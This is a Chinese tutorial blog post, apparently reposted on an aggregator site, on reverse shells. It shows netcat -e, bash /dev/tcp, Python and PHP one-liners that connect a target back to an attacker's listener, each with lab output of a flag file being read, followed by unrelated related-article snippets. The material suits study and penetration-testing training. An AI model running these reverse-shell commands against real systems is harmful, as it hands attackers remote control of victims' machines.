反弹shell

反弹shell:

简介;

​ 反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

正向连接:

​ 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接:

​ 反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

​ 对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

​ 反向连接就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

利用netcat反弹shell:

​ 目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

​ 安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。

攻击机开启本地监听:

netcat -lvvp 2333

目标机主动连接攻击机:

netcat <攻击机的IP> 2333 -e /bin/bash

结果:

​ 首先,我在目标机的根目录存放了一个flag文件,之后我尝试在攻击机上读取这个文件:

┌──(root㉿kali)-[~]
└─# cat /flag
flag{Nice_Try_You_Get_The_flag}

​ 之后,我们尝试在攻击机上读取flag文件:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# netcat -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 39610
cat /flag
flag{Nice_Try_You_Get_The_flag}
qwe
ca][

​ 首先在攻击机上监听了一下 2333 端口,然后用目标机建立连接,这个时候,我们发现成功读取了flag文件,后面我还尝试了几个错误的命令,在目标机器上输出了错误信息。

┌──(root㉿kali)-[~]
└─# netcat 192.168.209.137  2333 -e /bin/bash
bash: line 2: qwe: command not found
bash: line 3: ca][: command not found

利用Bash反弹shell

​ 直接放代码:

bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1bash -c "bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1"
  • bash -i 打开一个交互的bash
  • >& 将标准错误输出重定向到标准输出
  • /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
  • 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

攻击机开启本地监听:

nc -lvvp 2333

目标机主动连接攻击机:

bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1

结果:

​ 攻击机上,我们尝试读取了下文件:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 54426┌──(root㉿kali)-[~]
└─# cat /flag                                                                                                                                                                                                
cat /flag
flag{Nice_Try_You_Get_The_flag}┌──(root㉿kali)-[~]
└─# qwe                                                                                                                                                                                                      
qwe
bash: qwe: command not found

​ 不过这两个系统都是kali,倒不是很容易看出来区别是啥?不过,还是把flag给都出来了,对了,第一个交互和第二个交互所在的文件夹不同了,这里应该能区分吧。

​ 接下来看看目标机:

┌──(root㉿kali)-[~]
└─# bash -c "bash -i >& /dev/tcp/192.168.209.137/2333 0>&1"

​ 发现,没有任何输出,连胡乱输入的命令的报错都没有,说明真的重定向了。

Python 脚本反弹shell:

​ 当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

nc -lvvp 2333

目标机主动连接攻击机:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<目标机IP>",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

结果:

​ 先看看攻击机的情况吧,这里很明显能看出来被攻击了,还是/bin/sh这个shell:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 46622
# ls
# cat /flag           
flag{Nice_Try_You_Get_The_flag}

​ 目标机器也是,啥输出都没有:

┌──(root㉿kali)-[~]
└─# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.209.137",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php 脚本反弹shell:

​ 当然,CTF中最经典的 PHP 不能忘了,老样子,

攻击机监听端口:

nc -lvvp 2333

目标机器运行php脚本:

php -r '$sock=fsockopen("<攻击机IP地址>",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

结果:

​ 攻击机成功读取到了flag:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 36986
# cat /flag
flag{Nice_Try_You_Get_The_flag}

​ 目标机器也没有任何输出:

┌──(root㉿kali)-[~]
└─# php -r '$sock=fsockopen("192.168.209.137",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

参考:

反弹shell,这一篇就够了

多种姿势反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/29636.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

性能工具之 JMeter 常用组件介绍(八)

文章目录 一、Jmeter命令行启动二、Jmeter脚本录制 一、Jmeter命令行启动 Jmeter有两种运行&#xff1a; 一种是采用的界面模式(GUI&#xff09;启动&#xff0c;会占用不少系统资源&#xff1b;另一种是命令行模式&#xff08;non-GUI&#xff09;执行&#xff0c;这样节约资…

《SelectDB 新一代日志存储分析平台解决方案》白皮书重磅发布|立即下载

随着信息技术的飞速进步&#xff0c;企业面临着前所未有的系统复杂性和数据挑战。在此背景下&#xff0c;日志数据成为了企业洞察系统内部状态、监控网络安全以及分析业务动态的宝贵资源&#xff0c;构建高效的日志存储与分析平台至关重要。 作为基于 Apache Doris 打造的现代…

使用 AST语法树分析与修改Javascript 代码

1、AST语法树简介 当编写代码分析工具、代码美化工具、网站逆向分析等场景时&#xff0c;通常需要使用AST语法树技术。 比如项目开发过程中常遇到的场景&#xff1a;某个公共函数名需要更改&#xff0c;但被很多文件多处代码调用&#xff0c;手工修改非常容易漏改、改错等&…

【漏洞复现】致远互联FE协作办公平台 ncsubjass SQL注入

0x01 产品简介 致远互联FE协作办公平台是一款为企业提供全方位协同办公解决方案的产品。它集成了多个功能模块&#xff0c;旨在帮助企业实现高效的团队协作、信息共享和文档管理。 0x02 漏洞概述 致远互联FE协作办公平台 ncsubjass.jsp接口处存在SQL注入漏洞,未经身份验证的…

【Linux】环境设置MySQL表名忽略大小写

目录 说明 一、摘要 二、查看服务器上MySQL情况 方式一&#xff1a;通过Linux方式 方式二&#xff1a;借助可视化工具&#xff08;Navicat&#xff09; 三、MySQL设置忽略表名大小写的参数&#xff08;lower_case_table_names&#xff09; 四、网上解决方案 方法一&…

day03 子查询分页存储过程

目录 子查询 介绍&#xff1a; 子查询规范 子查询分类 模糊查询 注意事项和技巧 分页查询 作用&#xff1a; LIMIT关键字使用 指定初始位置 不指定初始位置 分页 视图 介绍&#xff1a; 优点 创建视图 嵌套视图 删除视图 修改视图 更新视图 存储过程 介绍…

RT-Thread PIN设备

RT-Thread PIN设备 RT-Thread PIN设备驱动框架RT-Thread PIN设备驱动层次图RT-Thread PIN设备注册RT-Thread PIN设备注册函数 RT-Thread PIN设备操作函数pin_getpin_modepin_writepin_readpin_attach_irqpin_detach_irqpin_irq_enable PIN设备又叫GPIO设备&#xff0c;是MCU输入…

SpringSecurity-入门代码

创建SpringBoot项目 参考文章&#xff1a; 【环境搭建】使用IDEA创建SpringBoot项目详细步骤_idea创建spring boot项目-CSDN博客 编写helloworld代码 RestController public class HelloController {GetMapping("/hello")public String hello(){return "hel…

深入了解SD-WAN:企业广域网的未来

在讨论SD-WAN之前&#xff0c;我们先来了解一下WAN的基本概念。WAN&#xff08;广域网&#xff09;是一个连接多个地理位置分散的局域网的通信网络。在企业中&#xff0c;WAN通常连接总部、分支机构、托管设施和云服务等多个网络节点。广域网允许用户共享各种应用和服务&#x…

【AI绘画】新手小白看这篇就够啦!国产PS AI插件超好入门!

随着人工智能技术的飞速发展&#xff0c;Photoshop作为设计师们不可或缺的工具&#xff0c;也在不断地融入AI技术&#xff0c;以提升设计效率和效果。最近米兔用了一款AI绘画软件StartAI&#xff0c;被其强大的功能和易用性经验到了&#xff0c;下面跟大家详细分享一下这款ps插…

ViNT: A Foundation Model for Visual Navigation

介绍 现存的问题&#xff1a;预训练的方式在很多领域取得了成功&#xff0c;但是由于环境、平台和应用程序的绝对多样性&#xff0c;因此很难应用在机器人领域。 那么想要做移动机器人的基础模型需要什么&#xff1f; 本文定义了一个机器人领域的基础模型&#xff0c;可以实…

文字炫酷祝福 含魔法代码

效果下图&#xff1a;&#xff08;可自定义显示内容&#xff09; 代码如下&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initi…

移动机器人程序节点崩溃的处理

对于一些特殊情况例如程序节点崩溃&#xff0c;可能需要一些特殊的处理方法。处理目的是为了保证程序出现特殊异常情况导致崩溃也能在每人干预的情况下正常运行并完成某些初始化状态。常见处理工程化方法如下。 针对节点崩溃问题&#xff0c;可以设置守护进程或脚本来监控程序运…

TS中的内置工具

在TypeScript&#xff08;TS&#xff09;中&#xff0c;有多种内置的工具和类型工具&#xff0c;它们帮助开发者更有效地编写和维护类型安全的代码。以下是一些主要的内置工具及其功能概述&#xff1a; 类型别名&#xff08;Type Aliases&#xff09;&#xff1a; 类型别名是一…

代码随想录算法训练营第42天 [1049. 最后一块石头的重量 II 494. 目标和 474.一和零]

代码随想录算法训练营第42天 [1049. 最后一块石头的重量 II 494. 目标和 474.一和零] **一、1049. 最后一块石头的重量 II ** 链接: 代码随想录. 思路&#xff1a;石头相撞重量最小&#xff0c;最小的情况就是刚好分为两组大小相同的&#xff0c;这样相撞后重量就为0 所以转化为…

【RK3588/算能/Nvidia智能盒子】AI“值守”,规范新能源汽车充电站停车、烟火及充电乱象

近年来&#xff0c;中国新能源汽车高速发展&#xff0c;产量连续8年位居全球第一。根据中国充电联盟数据&#xff0c;截至2023年6月&#xff0c;新能源汽车保有量1620万辆&#xff0c;全国充电基础设施累计数量为665.2万台&#xff0c;车桩比约2.5:1。 虽然新能源汽车与充电桩供…

mysql--安装跳过验证修改密码安全加固

安装mysql 配置mysql的yum源 [rootVM-0-14-rockylinux ~]# tee /etc/yum.repos.d/mysql.repo << EOF > [MYSQL] > namemysql > baseurlhttps://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-5.7-community-el7-x86_64 > gpgcheck0 > EOF yum安装mysq…

Playwright工作原理

执行test时&#xff0c;有哪些关键步骤 当我们用Playwright编写一段简单的test script&#xff0c;代码如下所示&#xff1a;在test case中第一段代码就是await page.goto(xxxxx) import { test, expect } from playwright/test;test(test, async ({ page }) > {await page…

浅谈LavelDB

简介 LevelDB 是一个开源的轻量级键值存储库&#xff0c;由 Google 开发&#xff0c;用于提供快速的键值存储和支持读写大量数据。LevelDB 具有高性能、快速的读取和写入速度以及支持原子操作的特点&#xff0c;适合用于需要高效存储和检索键值数据的场景。 LevelDB 主要特点…

NVIDIA新模型Nemotron-4:98%的训练数据是合成生成的,你敢信?

获取本文论文原文PDF&#xff0c;请公众号 AI论文解读 留言&#xff1a;论文解读 标题&#xff1a;Nemotron-4 340B Technical Report 模型概述&#xff1a;Nemotron-4 340B系列模型的基本构成 Nemotron-4 340B系列模型包括三个主要版本&#xff1a;Nemotron-4-340B-Base、…